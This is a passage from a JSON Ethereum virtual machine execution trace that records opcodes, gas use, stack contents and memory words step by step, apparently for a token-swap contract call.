","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8741,"op":"PUSH2","gas":106564,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":8744,"op":"JUMP","gas":106561,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x3c2b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15403,"op":"JUMPDEST","gas":106553,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15404,"op":"PUSH1","gas":106552,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15406,"op":"DUP1","gas":106549,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15407,"op":"PUSH1","gas":106546,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15409,"op":"DUP4","gas":106543,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15410,"op":"DUP6","gas":106540,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x40","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15411,"op":"SUB","gas":106537,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x40","0x180","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15412,"op":"SLT","gas":106534,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15413,"op":"ISZERO","gas":106531,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15414,"op":"PUSH2","gas":106528,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15417,"op":"JUMPI","gas":106525,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x1","0x3c3e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15422,"op":"JUMPDEST","gas":106515,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15423,"op":"PUSH2","gas":106514,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15426,"op":"DUP4","gas":106511,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15427,"op":"PUSH2","gas":106508,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15430,"op":"JUMP","gas":106505,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0x3c14"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15380,"op":"JUMPDEST","gas":106497,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15381,"op":"DUP1","gas":106496,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","